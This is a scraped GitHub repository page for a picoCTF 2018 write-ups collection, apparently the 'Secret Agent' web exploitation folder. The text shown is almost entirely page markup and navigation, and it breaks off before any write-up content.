height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="152792189" data-scoped-search-url="/d4rkvaibhav/picoCTF-2018-Writeups/search" data-owner-scoped-search-url="/users/d4rkvaibhav/search" data-unscoped-search-url="/search" data-turbo="false" action="/d4rkvaibhav/picoCTF-2018-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="zRR6q5tdtvGBQNSDWilzAGNtmURwTLmVs5SEIy11f5bS1jXHzFxLFv+wlSRQGTpeLIKotpHceGlMrWDzC/0jFg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> d4rkvaibhav </span> <span>/</span> picoCTF-2018-Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>9</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/d4rkvaibhav/picoCTF-2018-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":152792189,"originating_url":"https://github.com/d4rkvaibhav/picoCTF-2018-Writeups/tree/master/WEB_EXPLOITATION/SECRET%20AGENT","user_id":null}}" data-hydro-click-hmac="30b3ab7a221b2631a945e36ec806d04c0df3f0cb141711c74ec6215f8e59c680"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" 